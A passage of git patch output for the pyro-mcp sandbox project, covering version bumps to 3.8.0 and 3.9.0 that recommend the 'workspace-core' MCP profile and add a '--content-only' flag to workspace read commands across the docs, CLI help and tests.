`workspace-core`: recommended first profile for normal persistent chat editing +- `vm-run`: smallest one-shot-only surface +- `workspace-full`: advanced 3.x compatibility surface when the chat truly needs shells, services, snapshots, secrets, network policy, or disk tools + ## Supported Hosts Supported today: @@ -195,7 +225,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 3.7.0 +Catalog version: 3.8.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -312,7 +342,7 @@ machine consumption, use `--id-only` for only the identifier or `--json` for the workspace payload. Use `--seed-path` when you want the workspace to start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive instead of an empty workspace. Use `pyro workspace sync push` when you want to import -later host-side changes into a started workspace. Sync is non-atomic in `3.7.0`; if it fails +later host-side changes into a started workspace. Sync is non-atomic in `3.8.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the live `/workspace` tree to its immutable create-time baseline, and `pyro workspace export` to copy one changed file or directory back to the host. Use @@ -404,7 +434,8 @@ pyro doctor --json It fails closed when guest boot or guest exec is unavailable. Use `--allow-host-compat` only if you explicitly want host execution. -Run the MCP server after the CLI path above works: +Run the MCP server after the CLI path above works. Start most chat hosts with +`workspace-core`: ```bash pyro mcp serve --profile workspace-core @@ -412,9 +443,9 @@ pyro mcp serve --profile workspace-core Profile progression for chat hosts: -- `vm-run`: expose only `vm_run` -- `workspace-core`: expose the practical persistent chat loop -- `workspace-full`: expose shells, services, snapshots, secrets, network policy, and disk tools +- `workspace-core`: recommended first profile for normal persistent chat editing +- `vm-run`: expose only `vm_run` for one-shot-only hosts +- `workspace-full`: expose shells, services, snapshots, secrets, network policy, and disk tools when the chat truly needs the full stable surface Run the deterministic demo: diff --git a/docs/first-run.md b/docs/first-run.md index e7829c0..6d78265 100644 --- a/docs/first-run.md +++ b/docs/first-run.md @@ -22,7 +22,7 @@ Networking: tun=yes ip_forward=yes ```bash $ uvx --from pyro-mcp pyro env list -Catalog version: 3.7.0 +Catalog version: 3.8.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -118,6 +118,10 @@ $ uvx --from pyro-mcp pyro workspace service start WORKSPACE_ID app --ready-http $ uvx --from pyro-mcp pyro mcp serve --profile workspace-core ``` +For most chat hosts, `workspace-core` is the recommended first MCP profile. +Move to `workspace-full` only when the host truly needs shells, services, +snapshots, secrets, network policy, or disk tools. + `pyro demo` proves the one-shot create/start/exec/delete VM lifecycle works end to end. Once that stable workspace flow works, continue with the five recipe docs in @@ -255,7 +259,7 @@ State: started Use `--seed-path` when the workspace should start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive instead of an empty `/workspace`. Use `pyro workspace sync push` when you need to import later host-side changes into a started -workspace. Sync is non-atomic in `3.7.0`; if it fails partway through, prefer `pyro workspace reset` +workspace. Sync is non-atomic in `3.8.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the current `/workspace` tree to its immutable create-time baseline, `pyro workspace snapshot *` to create named checkpoints, and `pyro workspace export` to copy one changed file or directory back to the diff --git a/docs/install.md b/docs/install.md index 439f56f..b853440 100644 --- a/docs/install.md +++ b/docs/install.md @@ -85,7 +85,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 3.7.0 +Catalog version: 3.8.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -233,6 +233,20 @@ After the CLI path works, you can move on to: - Python SDK: `from pyro_mcp import Pyro` - Demos: `pyro demo` or `pyro demo --network` +## Chat Host Quickstart + +For most chat-host integrations, start with `workspace-core`: + +```bash +uvx --from pyro-mcp pyro mcp serve --profile workspace-core +``` + +Use profile progression like this: + +- `workspace-core`: recommended first profile for normal persistent chat editing +- `vm-run`: one-shot-only integrations +- `workspace-full`: advanced 3.x compatibility surface when the host truly needs shells, services, snapshots, secrets, network policy, or disk tools + ## Stable Workspace Use `pyro workspace ...` when you need repeated commands in one sandbox instead of one-shot `pyro run`. @@ -280,7 +294,7 @@ the identifier programmatically, use `--id-only` for only the identifier or `--j workspace payload. Use `--seed-path` when the workspace should start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive. Use `pyro workspace sync push` for later host-side changes to a started workspace. Sync -is non-atomic in `3.7.0`; if it fails partway through, prefer `pyro workspace reset` to recover +is non-atomic in `3.8.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the current workspace tree to its immutable create-time baseline, `pyro workspace snapshot *` to capture named checkpoints, and `pyro workspace export` to copy one changed file or directory back to the host. Use diff --git a/docs/integrations.md b/docs/integrations.md index 22da086..47c5d6c 100644 --- a/docs/integrations.md +++ b/docs/integrations.md @@ -7,10 +7,10 @@ CLI path in [install.md](install.md) or [first-run.md](first-run.md). ## Recommended Default -Use `vm_run` first for one-shot commands, then move to `workspace-core` when the -agent needs to inhabit one sandbox across multiple calls. Only promote the chat -surface to `workspace-full` when it truly needs shells, services, snapshots, -secrets, network policy, or disk tools. +Start most chat hosts with `workspace-core`. Use `vm_run` only for one-shot +integrations, and promote the chat surface to `workspace-full` only when it +truly needs shells, services, snapshots, secrets, network policy, or disk +tools. That keeps the model-facing contract small: @@ -21,8 +21,8 @@ That keeps the model-facing contract small: Profile progression: +- `workspace-core`: recommended first profile for persistent chat editing - `vm-run`: one-shot only -- `workspace-core`: persistent workspace create/list/update/status/sync/exec/logs/file ops/diff/export/reset/delete - `workspace-full`: the full stable workspace surface, including shells, services, snapshots, secrets, network policy, and disk tools ## OpenAI Responses API @@ -81,6 +81,7 @@ Best when: Recommended default: - `Pyro.run_in_vm(...)` +- `Pyro.create_server(profile="workspace-core")` for most chat hosts - `Pyro.create_workspace(name=..., labels=...)` + `Pyro.list_workspaces()` + `Pyro.update_workspace(...)` when repeated workspaces need human-friendly discovery metadata - `Pyro.create_workspace(seed_path=...)` + `Pyro.push_workspace_sync(...)` + `Pyro.exec_workspace(...)` when repeated workspace commands are required - `Pyro.list_workspace_files(...)` / `Pyro.read_workspace_file(...)` / `Pyro.write_workspace_file(...)` / `Pyro.apply_workspace_patch(...)` when the agent needs model-native file inspection and text edits inside one live workspace diff --git a/docs/public-contract.md b/docs/public-contract.md index cd311c4..2d07c7b 100644 --- a/docs/public-contract.md +++ b/docs/public-contract.md @@ -83,7 +83,7 @@ Behavioral guarantees: - `pyro workspace create --id-only` prints only the new `workspace_id` plus a trailing newline. - `pyro workspace create --name NAME --label KEY=VALUE` attaches human-oriented discovery metadata without changing the stable `workspace_id`. - `pyro workspace create --network-policy {off,egress,egress+published-ports}` controls workspace guest networking and whether services may publish localhost ports. -- `pyro mcp serve --profile {vm-run,workspace-core,workspace-full}` narrows the model-facing MCP surface without changing runtime behavior. +- `pyro mcp serve --profile {vm-run,workspace-core,workspace-full}` narrows the model-facing MCP surface without changing runtime behavior; `workspace-core` is the recommended first profile for most chat hosts. - `pyro workspace create --secret NAME=VALUE` and `--secret-file NAME=PATH` persist guest-only UTF-8 secrets outside `/workspace`. - `pyro workspace list` returns persisted workspaces sorted by most recent `last_activity_at`. - `pyro workspace sync push WORKSPACE_ID SOURCE_PATH [--dest WORKSPACE_PATH]` imports later host-side directory or archive content into a started workspace. @@ -277,7 +277,9 @@ Stable MCP profiles: Behavioral defaults: -- `pyro mcp serve` and `create_server()` default to `workspace-full`. +- `pyro mcp serve` and `create_server()` default to `workspace-full` for 3.x compatibility. +- `workspace-core` is the recommended first profile for most new chat-host integrations. +- `create_server(profile="workspace-core")` and `Pyro.create_server(profile="workspace-core")` are the recommended entrypoints for most new chat-host integrations. - `workspace-core` narrows `workspace_create` by omitting `network_policy` and `secrets`. - `workspace-core` narrows `workspace_exec` by omitting `secret_env`. diff --git a/docs/roadmap/llm-chat-ergonomics.md b/docs/roadmap/llm-chat-ergonomics.md index 7c76989..60dfad5 100644 --- a/docs/roadmap/llm-chat-ergonomics.md +++ b/docs/roadmap/llm-chat-ergonomics.md @@ -6,7 +6,7 @@ goal: make the core agent-workspace use cases feel trivial from a chat-driven LLM interface. -Current baseline is `3.7.0`: +Current baseline is `3.8.0`: - the stable workspace contract exists across CLI, SDK, and MCP - one-shot `pyro run` still exists as the narrow entrypoint @@ -35,12 +35,8 @@ More concretely, the model should not need to: The remaining UX friction for a technically strong new user is now narrower: -- the best chat-host profile is recommended in docs, but not yet obvious enough - from the default live `mcp serve` path -- canonical CLI walkthroughs are cleaner now, but the recommended chat-host - entrypoint still needs to be more obvious from the default docs and help -- human-mode file reads are functional, but still need final transcript polish - for copy-paste and chat logs +- the recommended chat-host onramp is now explicit, but human-mode file reads + still need final transcript polish for copy-paste and chat logs ## Locked Decisions @@ -62,7 +58,7 @@ The remaining UX friction for a technically strong new user is now narrower: 4. [`3.5.0` Chat-Friendly Shell Output](llm-chat-ergonomics/3.5.0-chat-friendly-shell-output.md) - Done 5. [`3.6.0` Use-Case Recipes And Smoke Packs](llm-chat-ergonomics/3.6.0-use-case-recipes-and-smoke-packs.md) - Done 6. [`3.7.0` Handoff Shortcuts And File Input Sources](llm-chat-ergonomics/3.7.0-handoff-shortcuts-and-file-input-sources.md) - Done -7. [`3.8.0` Chat-Host Onramp And Recommended Defaults](llm-chat-ergonomics/3.8.0-chat-host-onramp-and-recommended-defaults.md) - Planned +7. [`3.8.0` Chat-Host Onramp And Recommended Defaults](llm-chat-ergonomics/3.8.0-chat-host-onramp-and-recommended-defaults.md) - Done 8. [`3.9.0` Content-Only Reads And Human Output Polish](llm-chat-ergonomics/3.9.0-content-only-reads-and-human-output-polish.md) - Planned Completed so far: @@ -83,11 +79,11 @@ Completed so far: - `3.7.0` removed the remaining shell glue from canonical CLI workspace flows with `--id-only`, `--text-file`, and `--patch-file`, so the shortest handoff path no longer depends on `python -c` extraction or `$(cat ...)` expansion. +- `3.8.0` made `workspace-core` the obvious first MCP/chat-host profile from the first help and + docs pass while keeping `workspace-full` as the 3.x compatibility default. Planned next: -- `3.8.0` makes the recommended chat-host entrypoint obvious from the top-level docs, help text, - and shipped MCP examples without changing the `3.x` compatibility default. - `3.9.0` makes human-mode file reads cleaner in terminals and chat logs, with explicit content-only reads where summaries would otherwise get in the way. diff --git a/docs/roadmap/llm-chat-ergonomics/3.8.0-chat-host-onramp-and-recommended-defaults.md b/docs/roadmap/llm-chat-ergonomics/3.8.0-chat-host-onramp-and-recommended-defaults.md index 0feb93c..c4f0852 100644 --- a/docs/roadmap/llm-chat-ergonomics/3.8.0-chat-host-onramp-and-recommended-defaults.md +++ b/docs/roadmap/llm-chat-ergonomics/3.8.0-chat-host-onramp-and-recommended-defaults.md @@ -1,6 +1,6 @@ # `3.8.0` Chat-Host Onramp And Recommended Defaults -Status: Planned +Status: Done ## Goal diff --git a/examples/mcp_client_config.md b/examples/mcp_client_config.md index 74e1ce1..efd8af3 100644 --- a/examples/mcp_client_config.md +++ b/examples/mcp_client_config.md @@ -1,5 +1,7 @@ # MCP Client Config Example +Recommended default for most chat hosts: `workspace-core`. + `pyro-mcp` is intended to be exposed to LLM clients through the public `pyro` CLI. Generic stdio MCP configuration using `uvx`: @@ -30,9 +32,9 @@ If `pyro-mcp` is already installed locally, the same server can be configured wi Profile progression: +- `workspace-core`: the recommended first persistent chat profile - `vm-run`: expose only `vm_run` -- `workspace-core`: the default persistent chat profile -- `workspace-full`: shells, services, snapshots, secrets, network policy, and disk tools +- `workspace-full`: advanced 3.x compatibility surface for shells, services, snapshots, secrets, network policy, and disk tools Primary profile for most agents: diff --git a/examples/openai_responses_workspace_core.py b/examples/openai_responses_workspace_core.py index 0ef9c27..6664c18 100644 --- a/examples/openai_responses_workspace_core.py +++ b/examples/openai_responses_workspace_core.py @@ -4,9 +4,10 @@ Requirements: - `pip install openai` or `uv add openai` - `OPENAI_API_KEY` -This example mirrors the `workspace-core` MCP profile by deriving tool schemas -from `Pyro.create_server(profile="workspace-core")` and dispatching tool calls -back through that same profiled server. +This is the recommended persistent-chat example. It mirrors the +`workspace-core` MCP profile by deriving tool schemas from +`Pyro.create_server(profile="workspace-core")` and dispatching tool calls back +through that same profiled server. """ from __future__ import annotations diff --git a/pyproject.toml b/pyproject.toml index 5bf246b..9d2e4da 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [project] name = "pyro-mcp" -version = "3.7.0" +version = "3.8.0" description = "Stable Firecracker workspaces, one-shot sandboxes, and MCP tools for coding agents." readme = "README.md" license = { file = "LICENSE" } diff --git a/src/pyro_mcp/api.py b/src/pyro_mcp/api.py index 2fadd0b..56b16eb 100644 --- a/src/pyro_mcp/api.py +++ b/src/pyro_mcp/api.py @@ -463,6 +463,11 @@ class Pyro: ) def create_server(self, *, profile: McpToolProfile = "workspace-full") -> FastMCP: + """Create an MCP server for one of the stable public tool profiles. + + `workspace-full` remains the default for 3.x compatibility. New chat + hosts should usually start with `profile="workspace-core"`. + """ normalized_profile = _validate_mcp_profile(profile) enabled_tools = set(_PROFILE_TOOLS[normalized_profile]) server = FastMCP(name="pyro_mcp") diff --git a/src/pyro_mcp/cli.py b/src/pyro_mcp/cli.py index 3490088..85e6d77 100644 --- a/src/pyro_mcp/cli.py +++ b/src/pyro_mcp/cli.py @@ -746,13 +746,14 @@ def _build_parser() -> argparse.ArgumentParser: help="Run the MCP server.", description=( "Run the MCP server after you have already validated the host and " - "guest execution with `pyro doctor` and `pyro run`." + "guest execution with `pyro doctor` and `pyro run`. Start most " + "chat hosts with `workspace-core`." ), epilog=dedent( """ Examples: - pyro mcp serve --profile vm-run pyro mcp serve --profile workspace-core + pyro mcp serve --profile vm-run pyro mcp serve --profile workspace-full """ ), @@ -762,18 +763,23 @@ def _build_parser() -> argparse.ArgumentParser: mcp_serve_parser = mcp_subparsers.add_parser( "serve", help="Run the MCP server over stdio.", - description="Expose pyro tools over stdio for an MCP client.", + description=( + "Expose pyro tools over stdio for an MCP client. " + "`workspace-core` is the recommended first profile for most chat hosts." + ), epilog=dedent( """ - Example: + Recommended first start: pyro mcp serve --profile workspace-core Profiles: - vm-run: only the vm_run tool - workspace-core: vm_run plus the practical workspace chat loop - workspace-full: the full stable workspace surface + workspace-core: recommended default for normal persistent chat editing + vm-run: smallest one-shot-only surface + workspace-full: advanced 3.x compatibility surface for shells, services, + snapshots, secrets, network policy, and disk tools - Use this from an MCP client config after the CLI evaluation path works. + `workspace-full` remains the default in 3.x for compatibility, but most new + chat hosts should start with `workspace-core`. """ ), formatter_class=_HelpFormatter, @@ -783,8 +789,9 @@ def _build_parser() -> argparse.ArgumentParser: choices=PUBLIC_MCP_PROFILES, default="workspace-full", help=( - "Expose only one model-facing tool profile. " - "`workspace-full` preserves the current full MCP surface." + "Expose only one model-facing tool profile. `workspace-core` is the " + "recommended first profile for most chat hosts; `workspace-full` " + "preserves the current full MCP surface for 3.x compatibility." ), ) diff --git a/src/pyro_mcp/server.py b/src/pyro_mcp/server.py index c3a26ea..3015991 100644 --- a/src/pyro_mcp/server.py +++ b/src/pyro_mcp/server.py @@ -13,7 +13,11 @@ def create_server( *, profile: McpToolProfile = "workspace-full", ) -> FastMCP: - """Create and return a configured MCP server instance.""" + """Create and return a configured MCP server instance. + + `workspace-full` remains the default for 3.x compatibility. New chat hosts + should usually start with `profile="workspace-core"`. + """ return Pyro(manager=manager).create_server(profile=profile) diff --git a/src/pyro_mcp/vm_environments.py b/src/pyro_mcp/vm_environments.py index 64278de..c70c41b 100644 --- a/src/pyro_mcp/vm_environments.py +++ b/src/pyro_mcp/vm_environments.py @@ -19,7 +19,7 @@ from typing import Any from pyro_mcp.runtime import DEFAULT_PLATFORM, RuntimePaths DEFAULT_ENVIRONMENT_VERSION = "1.0.0" -DEFAULT_CATALOG_VERSION = "3.7.0" +DEFAULT_CATALOG_VERSION = "3.8.0" OCI_MANIFEST_ACCEPT = ", ".join( ( "application/vnd.oci.image.index.v1+json", diff --git a/tests/test_cli.py b/tests/test_cli.py index e14c5ca..d881166 100644 --- a/tests/test_cli.py +++ b/tests/test_cli.py @@ -67,7 +67,8 @@ def test_cli_subcommand_help_includes_examples_and_guidance() -> None: assert "workspace-core" in mcp_help assert "workspace-full" in mcp_help assert "vm-run" in mcp_help - assert "Use this from an MCP client config after the CLI evaluation path works." in mcp_help + assert "recommended first profile for most chat hosts" in mcp_help + assert "default in 3.x for compatibility" in mcp_help workspace_help = _subparser_choice(parser, "workspace").format_help() assert "stable workspace contract" in workspace_help @@ -2597,6 +2598,26 @@ def test_cli_workspace_shell_open_prints_id_only( assert captured.err == "" +def test_chat_host_docs_and_examples_recommend_workspace_core() -> None: + readme = Path("README.md").read_text(encoding="utf-8") + install = Path("docs/install.md").read_text(encoding="utf-8") + integrations = Path("docs/integrations.md").read_text(encoding="utf-8") + mcp_config = Path("examples/mcp_client_config.md").read_text(encoding="utf-8") + + assert "## Chat Host Quickstart" in readme + assert "pyro mcp serve --profile workspace-core" in readme + assert "recommended first profile for normal persistent chat editing" in readme + + assert "## Chat Host Quickstart" in install + assert "pyro mcp serve --profile workspace-core" in install + assert "advanced 3.x compatibility surface" in install + + assert "Start most chat hosts with `workspace-core`." in integrations + assert '`Pyro.create_server(profile="workspace-core")` for most chat hosts' in integrations + + assert "Recommended default for most chat hosts: `workspace-core`." in mcp_config + + def test_cli_workspace_shell_write_signal_close_json( monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str], diff --git a/uv.lock b/uv.lock index a14789a..8418840 100644 --- a/uv.lock +++ b/uv.lock @@ -706,7 +706,7 @@ crypto = [ [[package]] name = "pyro-mcp" -version = "3.7.0" +version = "3.8.0" source = { editable = "." } dependencies = [ { name = "mcp" }, From 22d284b1f5a584d95dd6b7d45cd1357d4c1daf2d Mon Sep 17 00:00:00 2001 From: Thales Maciel Date: Fri, 13 Mar 2026 11:43:40 -0300 Subject: [PATCH 34/49] Add content-only workspace read modes Make the human workspace read commands easier to use in chat transcripts and shell pipelines by adding CLI-only --content-only to workspace file read and workspace disk read. Keep JSON, SDK, and MCP behavior unchanged while fixing the default human rendering so content without a trailing newline is cleanly separated from the summary footer. Update the 3.9.0 docs and roadmap status, and add CLI regression coverage plus a real guest-backed smoke for live and stopped-disk reads. --- CHANGELOG.md | 10 + README.md | 18 +- docs/first-run.md | 10 +- docs/install.md | 14 +- docs/public-contract.md | 4 +- docs/roadmap/llm-chat-ergonomics.md | 11 +- ...tent-only-reads-and-human-output-polish.md | 2 +- pyproject.toml | 2 +- src/pyro_mcp/cli.py | 64 +++++- src/pyro_mcp/contract.py | 4 +- src/pyro_mcp/vm_environments.py | 2 +- tests/test_cli.py | 217 ++++++++++++++++++ uv.lock | 2 +- 13 files changed, 314 insertions(+), 46 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 90edb28..c7b46e1 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,6 +2,16 @@ All notable user-visible changes to `pyro-mcp` are documented here. +## 3.9.0 + +- Added `--content-only` to `pyro workspace file read` and + `pyro workspace disk read` so copy-paste flows and chat transcripts can emit + only file content without the human summary footer. +- Polished default human read output so content without a trailing newline is + still separated cleanly from the summary line in merged terminal logs. +- Updated the stable walkthroughs and contract docs to use content-only reads + where plain file content is the intended output. + ## 3.8.0 - Repositioned the MCP/chat-host onramp so `workspace-core` is clearly the diff --git a/README.md b/README.md index e22dc66..ebb6b34 100644 --- a/README.md +++ b/README.md @@ -23,7 +23,7 @@ It exposes the same runtime in three public forms: - Stable workspace walkthrough GIF: [docs/assets/workspace-first-run.gif](docs/assets/workspace-first-run.gif) - Terminal walkthrough GIF: [docs/assets/first-run.gif](docs/assets/first-run.gif) - PyPI package: [pypi.org/project/pyro-mcp](https://pypi.org/project/pyro-mcp/) -- What's new in 3.8.0: [CHANGELOG.md#380](CHANGELOG.md#380) +- What's new in 3.9.0: [CHANGELOG.md#390](CHANGELOG.md#390) - Host requirements: [docs/host-requirements.md](docs/host-requirements.md) - Integration targets: [docs/integrations.md](docs/integrations.md) - Public contract: [docs/public-contract.md](docs/public-contract.md) @@ -60,7 +60,7 @@ What success looks like: ```bash Platform: linux-x86_64 Runtime: PASS -Catalog version: 3.8.0 +Catalog version: 3.9.0 ... [pull] phase=install environment=debian:12 [pull] phase=ready environment=debian:12 @@ -96,7 +96,7 @@ WORKSPACE_ID="$(pyro workspace create debian:12 --seed-path ./repo --name repro- pyro workspace list pyro workspace update "$WORKSPACE_ID" --label owner=codex pyro workspace sync push "$WORKSPACE_ID" ./changes -pyro workspace file read "$WORKSPACE_ID" note.txt +pyro workspace file read "$WORKSPACE_ID" note.txt --content-only pyro workspace patch apply "$WORKSPACE_ID" --patch-file fix.patch pyro workspace exec "$WORKSPACE_ID" -- cat note.txt pyro workspace snapshot create "$WORKSPACE_ID" checkpoint @@ -133,7 +133,7 @@ After the quickstart works: - enable outbound guest networking for one workspace with `uvx --from pyro-mcp pyro workspace create debian:12 --network-policy egress` - add literal or file-backed secrets with `uvx --from pyro-mcp pyro workspace create debian:12 --secret API_TOKEN=expected --secret-file PIP_TOKEN=./token.txt` - map one persisted secret into one exec, shell, or service call with `--secret-env API_TOKEN` -- inspect and edit files without shell quoting with `uvx --from pyro-mcp pyro workspace file read WORKSPACE_ID src/app.py`, `uvx --from pyro-mcp pyro workspace file write WORKSPACE_ID src/app.py --text-file ./app.py`, and `uvx --from pyro-mcp pyro workspace patch apply WORKSPACE_ID --patch-file fix.patch` +- inspect and edit files without shell quoting with `uvx --from pyro-mcp pyro workspace file read WORKSPACE_ID src/app.py --content-only`, `uvx --from pyro-mcp pyro workspace file write WORKSPACE_ID src/app.py --text-file ./app.py`, and `uvx --from pyro-mcp pyro workspace patch apply WORKSPACE_ID --patch-file fix.patch` - diff the live workspace against its create-time baseline with `uvx --from pyro-mcp pyro workspace diff WORKSPACE_ID` - capture a checkpoint with `uvx --from pyro-mcp pyro workspace snapshot create WORKSPACE_ID checkpoint` - reset a broken workspace with `uvx --from pyro-mcp pyro workspace reset WORKSPACE_ID --snapshot checkpoint` @@ -142,7 +142,7 @@ After the quickstart works: - start long-running workspace services with `uvx --from pyro-mcp pyro workspace service start WORKSPACE_ID app --ready-file .ready -- sh -lc 'touch .ready && while true; do sleep 60; done'` - publish one guest service port to the host with `uvx --from pyro-mcp pyro workspace create debian:12 --network-policy egress+published-ports` and `uvx --from pyro-mcp pyro workspace service start WORKSPACE_ID app --ready-http http://127.0.0.1:8080/ --publish 18080:8080 -- ./start-app` - stop a workspace for offline inspection with `uvx --from pyro-mcp pyro workspace stop WORKSPACE_ID` -- inspect or export one stopped guest rootfs with `uvx --from pyro-mcp pyro workspace disk list WORKSPACE_ID`, `uvx --from pyro-mcp pyro workspace disk read WORKSPACE_ID note.txt`, and `uvx --from pyro-mcp pyro workspace disk export WORKSPACE_ID --output ./workspace.ext4` +- inspect or export one stopped guest rootfs with `uvx --from pyro-mcp pyro workspace disk list WORKSPACE_ID`, `uvx --from pyro-mcp pyro workspace disk read WORKSPACE_ID note.txt --content-only`, and `uvx --from pyro-mcp pyro workspace disk export WORKSPACE_ID --output ./workspace.ext4` - move to Python or MCP via [docs/integrations.md](docs/integrations.md) ## Chat Host Quickstart @@ -225,7 +225,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 3.8.0 +Catalog version: 3.9.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -306,7 +306,7 @@ pyro workspace create debian:12 --seed-path ./repo --secret API_TOKEN=expected pyro workspace create debian:12 --network-policy egress+published-ports pyro workspace sync push WORKSPACE_ID ./changes --dest src pyro workspace file list WORKSPACE_ID src --recursive -pyro workspace file read WORKSPACE_ID src/note.txt +pyro workspace file read WORKSPACE_ID src/note.txt --content-only pyro workspace file write WORKSPACE_ID src/app.py --text-file ./app.py pyro workspace patch apply WORKSPACE_ID --patch-file fix.patch pyro workspace exec WORKSPACE_ID -- cat src/note.txt @@ -330,7 +330,7 @@ pyro workspace service stop WORKSPACE_ID web pyro workspace service stop WORKSPACE_ID worker pyro workspace stop WORKSPACE_ID pyro workspace disk list WORKSPACE_ID -pyro workspace disk read WORKSPACE_ID src/note.txt +pyro workspace disk read WORKSPACE_ID src/note.txt --content-only pyro workspace disk export WORKSPACE_ID --output ./workspace.ext4 pyro workspace start WORKSPACE_ID pyro workspace logs WORKSPACE_ID @@ -342,7 +342,7 @@ machine consumption, use `--id-only` for only the identifier or `--json` for the workspace payload. Use `--seed-path` when you want the workspace to start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive instead of an empty workspace. Use `pyro workspace sync push` when you want to import -later host-side changes into a started workspace. Sync is non-atomic in `3.8.0`; if it fails +later host-side changes into a started workspace. Sync is non-atomic in `3.9.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the live `/workspace` tree to its immutable create-time baseline, and `pyro workspace export` to copy one changed file or directory back to the host. Use diff --git a/docs/first-run.md b/docs/first-run.md index 6d78265..9260bd6 100644 --- a/docs/first-run.md +++ b/docs/first-run.md @@ -22,7 +22,7 @@ Networking: tun=yes ip_forward=yes ```bash $ uvx --from pyro-mcp pyro env list -Catalog version: 3.8.0 +Catalog version: 3.9.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -77,7 +77,7 @@ $ export WORKSPACE_ID="$(uvx --from pyro-mcp pyro workspace create debian:12 --s $ uvx --from pyro-mcp pyro workspace list $ uvx --from pyro-mcp pyro workspace update "$WORKSPACE_ID" --label owner=codex $ uvx --from pyro-mcp pyro workspace sync push "$WORKSPACE_ID" ./changes -$ uvx --from pyro-mcp pyro workspace file read "$WORKSPACE_ID" note.txt +$ uvx --from pyro-mcp pyro workspace file read "$WORKSPACE_ID" note.txt --content-only $ uvx --from pyro-mcp pyro workspace patch apply "$WORKSPACE_ID" --patch-file fix.patch $ uvx --from pyro-mcp pyro workspace exec "$WORKSPACE_ID" -- cat note.txt $ uvx --from pyro-mcp pyro workspace snapshot create "$WORKSPACE_ID" checkpoint @@ -86,7 +86,7 @@ $ uvx --from pyro-mcp pyro workspace reset "$WORKSPACE_ID" --snapshot checkpoint $ uvx --from pyro-mcp pyro workspace export "$WORKSPACE_ID" note.txt --output ./note.txt $ uvx --from pyro-mcp pyro workspace stop "$WORKSPACE_ID" $ uvx --from pyro-mcp pyro workspace disk list "$WORKSPACE_ID" -$ uvx --from pyro-mcp pyro workspace disk read "$WORKSPACE_ID" note.txt +$ uvx --from pyro-mcp pyro workspace disk read "$WORKSPACE_ID" note.txt --content-only $ uvx --from pyro-mcp pyro workspace disk export "$WORKSPACE_ID" --output ./workspace.ext4 $ uvx --from pyro-mcp pyro workspace start "$WORKSPACE_ID" $ uvx --from pyro-mcp pyro workspace delete "$WORKSPACE_ID" @@ -101,7 +101,7 @@ $ uvx --from pyro-mcp pyro workspace list $ uvx --from pyro-mcp pyro workspace update WORKSPACE_ID --label owner=codex $ uvx --from pyro-mcp pyro workspace sync push WORKSPACE_ID ./changes $ uvx --from pyro-mcp pyro workspace file list WORKSPACE_ID src --recursive -$ uvx --from pyro-mcp pyro workspace file read WORKSPACE_ID src/app.py +$ uvx --from pyro-mcp pyro workspace file read WORKSPACE_ID src/app.py --content-only $ uvx --from pyro-mcp pyro workspace file write WORKSPACE_ID src/app.py --text-file ./app.py $ uvx --from pyro-mcp pyro workspace patch apply WORKSPACE_ID --patch-file fix.patch $ uvx --from pyro-mcp pyro workspace create debian:12 --network-policy egress @@ -259,7 +259,7 @@ State: started Use `--seed-path` when the workspace should start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive instead of an empty `/workspace`. Use `pyro workspace sync push` when you need to import later host-side changes into a started -workspace. Sync is non-atomic in `3.8.0`; if it fails partway through, prefer `pyro workspace reset` +workspace. Sync is non-atomic in `3.9.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the current `/workspace` tree to its immutable create-time baseline, `pyro workspace snapshot *` to create named checkpoints, and `pyro workspace export` to copy one changed file or directory back to the diff --git a/docs/install.md b/docs/install.md index b853440..22e457c 100644 --- a/docs/install.md +++ b/docs/install.md @@ -85,7 +85,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 3.8.0 +Catalog version: 3.9.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -144,7 +144,7 @@ WORKSPACE_ID="$(pyro workspace create debian:12 --seed-path ./repo --name repro- pyro workspace list pyro workspace update "$WORKSPACE_ID" --label owner=codex pyro workspace sync push "$WORKSPACE_ID" ./changes -pyro workspace file read "$WORKSPACE_ID" note.txt +pyro workspace file read "$WORKSPACE_ID" note.txt --content-only pyro workspace patch apply "$WORKSPACE_ID" 